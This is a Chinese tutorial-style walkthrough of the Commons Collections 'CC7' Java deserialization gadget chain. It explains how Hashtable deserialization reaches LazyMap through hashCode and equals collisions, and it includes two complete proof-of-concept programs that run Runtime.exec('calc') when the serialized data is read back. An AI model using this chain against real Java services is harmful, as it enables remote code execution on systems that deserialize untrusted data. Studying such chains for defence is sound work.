CC7 依旧是寻找 LazyMap 的触发点,这次用到了 Hashtable。
前置知识 Hashtable Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:
HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。
两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。
Hashtable 线程安全,HashMap 线程不安全。
那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?答案是肯定的。
利用分析 hashcode Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut
方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里。
1 2 3 4 5 6 7 8 9 for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
reconstitutionPut
调用了 key 的 hashCode 方法。
1 2 3 4 5 6 7 8 9 10 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); .... }
学过之前的算简单了,没像PriorityQueue那样多套几层
同样的需要注意条件,在put的时候也会使用使用hashcode函数
所以用 Hashtable 跟 HashMap 触发 LazyMap 方式差不多
1 2 3 4 5 6 7 8 9 10 11 12 public synchronized V put (K key, V value) { if (value == null ) { throw new NullPointerException (); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; ... }
equals 但是在ysoserial中利用点不是这个,通过AbstractMap#equals来触发对LazyMap#get方法的调用,而且AbstractMap是一个抽象类,hashmap是它的子类并且没有重写equals方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public abstract class AbstractMap <K,V> implements Map <K,V> {} public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } }
如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。
先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut:
先正向更进吧,从我们创了一个类开始,我们干了什么,先看构造方法,有三个本质是还是只有一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public Hashtable (int initialCapacity) { this (initialCapacity, 0.75f ); } public Hashtable () { this (11 , 0.75f ); } public Hashtable (int initialCapacity, float loadFactor) { if (initialCapacity < 0 ) throw new IllegalArgumentException ("Illegal Capacity: " + initialCapacity); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new IllegalArgumentException ("Illegal Load: " +loadFactor); if (initialCapacity==0 ) initialCapacity = 1 ; this .loadFactor = loadFactor; table = new Entry <?,?>[initialCapacity]; threshold = (int )Math.min(initialCapacity * loadFactor, MAX_ARRAY_SIZE + 1 ); } Entry类在Hashtable中的构造方法是这样是这样的 protected Entry (int hash, K key, V value, Entry<K,V> next) { this .hash = hash; this .key = key; this .value = value; this .next = next; }
看到这里初始化创建了table,但是没有赋值操作,接下来就是我们put会发送什么了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public synchronized V put (K key, V value) { if (value == null ) { throw new NullPointerException (); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for (; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null ; }
我们发现第一次put并不会进入循环,因为第一次put从来没有给table赋予过值,来看看addEntry方法干了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 private void addEntry (int hash, K key, V value, int index) { modCount++; Entry<?,?> tab[] = table; if (count >= threshold) { rehash(); tab = table; hash = key.hashCode(); index = (hash & 0x7FFFFFFF ) % tab.length; } Entry<K,V> e = (Entry<K,V>) tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
所以就是赋了一对值进去
第二次put发现,如果第二个传入的key如果和第一个key相同的话,是会覆盖值的,并不会新加一个值,因为return了
1 2 3 4 5 6 for (; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; }
但是我们想触发反序列就得这里hash相等,而equals不相等了后面再说
现在来看看writeObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void writeObject (java.io.ObjectOutputStream s) throws IOException { Entry<Object, Object> entryStack = null ; synchronized (this ) { s.defaultWriteObject(); s.writeInt(table.length); s.writeInt(count); for (int index = 0 ; index < table.length; index++) { Entry<?,?> entry = table[index]; while (entry != null ) { entryStack = new Entry <>(0 , entry.key, entry.value, entryStack); entry = entry.next; } } } while (entryStack != null ) { s.writeObject(entryStack.key); s.writeObject(entryStack.value); entryStack = entryStack.next; } }
发现就是遍历了表的数据将key,value写进去了而已
继续看readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ... table = new Entry <?,?>[length]; threshold = (int )Math.min(length * lf, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
所以这里进入reconstitutionPut函数值都是我们可控的,继续看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
发现这里和put都出不多的,所以第一次还是不会触发 e.key.equals(key), 看看第二次,我们要第二次传入的hash值跟第一次一样才能触发(个布尔短路运输的特性),e.key.equals(key),我们可以通过反射来修改这个值就行了
ysoserial这⾥设置e.key为LazyMap对象,由于LazyMap下没有equals⽅法,所以它会调⽤⽗类AbstractMapDecorator.equals⽅ 法
1 2 3 4 5 6 public boolean equals (Object object) { if (object == this ) { return true ; } return map.equals(object); }
这里map是我们在lazymap中可以控制的map,我们想它是hashmap(这样才能触发AbstractMap的equals方法),现在看看利用点
这里的传入object,是第二个key是lazymap,因为在AbstractMap的equals方法,调用的是传进来map的get方法,我们想它是lazymap才能触发链子后续,所以传入的必须是lazymap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } }
重点是怎么让他们hashcode相等,来看看lazymap的hashcode,因为lazymap没有重写hashcode方法会调用父类的AbstractMapDecorator的hashcode了,所以这里又会调用hashmap的hashcode,来看看
1 2 3 public int hashCode () { return map.hashCode(); }
发现调用是传入map的值我们传入的hashmap来看看
1 2 3 public final int hashCode () { return Objects.hashCode(key) ^ Objects.hashCode(value); }
所以想要hashcode相等让他们这里就里相等就行了
都为空肯定相等吧来
所以来先把利用链一步一步搓出来,第一步是让hashtable先放入2个值
1 2 3 4 5 6 7 HashMap hashmap1 = new HashMap ();HashMap hashmap2 = new HashMap ();LazyMap map1 = (LazyMap) LazyMap.decorate(hashmap1,fack);LazyMap map2 = (LazyMap) LazyMap.decorate(hashmap2,fack);Hashtable table = new Hashtable ();table.put(map1.1 ) table.put(map2,1 );
来看看这样会发生什么,在第二次put调用hashcode的时候也会调用一次equals
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } ...return true ;
发现不管hashmap不为空才能进入while循环,有没有设置值都会触发一次第二个Laymap的get方法,而且我们都得想办法为false才行,而且之前就说过了lazymap的get方法了
1 2 3 4 5 6 7 8 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
如果没有值,第一次会创一个进去,在这里put创了值了,就导致里面的map又不相同了,多了传入进来的key,所以后面得删除一次
问题是怎么让hashcode相等了
在java中有一个小bug:”yy”.hashCode() == “zZ”.hashCode()
正是这个小bug让这里能够利用,所以这里我们需要将map中put的值设置为yy和zZ,就能让hashcode相等了
然后get方法会调用transform赋予值给value,让他们不相等transform返回值不相等map1的value就行了
所以重新写
1 2 3 4 5 6 7 8 9 10 HashMap hashmap1 = new HashMap ();HashMap hashmap2 = new HashMap ();hashmap1.put("yy" ,1 ); hashmap2.put("zZ" ,1 ); LazyMap map1 = (LazyMap) LazyMap.decorate(hashmap1,fack);LazyMap map2 = (LazyMap) LazyMap.decorate(hashmap2,fack);Hashtable table = new Hashtable ();table.put(map1.1 ) table.put(map2,1 ); map2.remove("yy" );
这样就没什么问题了,但是其实第一个我们都可以不用Lazymap,因为第一个其实实际上最后用的都是hashmap的方法,所以通过反射修改里面fack链改为正常的就行了
攻击构造 hashcode() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;public class CC7 { public static void main (String[] args) throws Exception{ ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); ChainedTransformer fack = new ChainedTransformer (new Transformer []{}); LazyMap map = (LazyMap) LazyMap.decorate(new HashMap (),fack); TiedMapEntry entry = new TiedMapEntry (map,"baicany" ); Hashtable table = new Hashtable (); table.put(entry,"baicany" ); Field f= LazyMap.class.getDeclaredField("factory" ); f.setAccessible(true ); f.set(map,chain); map.clear(); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc7.txt" )); outputStream.writeObject(table); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc7.txt" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
后面也可以用c3链的后续,反正随便拼了,反射改值也可以改其他的
equal() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;public class CC7 { public static void main (String[] args) throws Exception{ ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); ChainedTransformer fack = new ChainedTransformer (new Transformer []{}); HashMap map1 = new HashMap <>(); HashMap map2 = new HashMap <>(); map1.put("yy" ,"baicany" ); map2.put("zZ" ,"baicany" ); LazyMap lazymap1 = (LazyMap) LazyMap.decorate(map1,fack); LazyMap lazymap2 = (LazyMap) LazyMap.decorate(map2,fack); Hashtable table = new Hashtable <>(); table.put(lazymap1,"baicany" ); table.put(lazymap2,"baicany" ); map2.remove("yy" ); Field f = LazyMap.class.getDeclaredField("factory" ); f.setAccessible(true ); f.set(lazymap2,chain); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc7.txt" )); outputStream.writeObject(table); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc7.txt" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
哪里也可以改成这样反正没什么区别
利用链 1 2 3 4 5 6 Hashtable.readOject-> Hashtable.reconstitutionPut-> TiedMapEntry.hashcode-> Lazy.map-> ChainedTransformer.transformer-> ....
1 2 3 4 5 Hashtable .readOject-> Hashtable .reconstitutionPut-> AbstractMap .equals-> LazyMap .get-> transformer ()->
这个利用缩了中间利用部分,如果是ysoserial的话
1 2 3 4 5 6 7 8 9 Hashtable .readOject-> Hashtable .reconstitutionPut-> LazyMap .equals-> AbstractMapDecorator .equals-> HashMap .equals-> AbstractMap .equals-> LazyMap .get-> transformer() ->....
cc链到此就完啦,终于搞完啦,最后一条链子还当头一棒啊
依赖版本
commons-collections : 3.1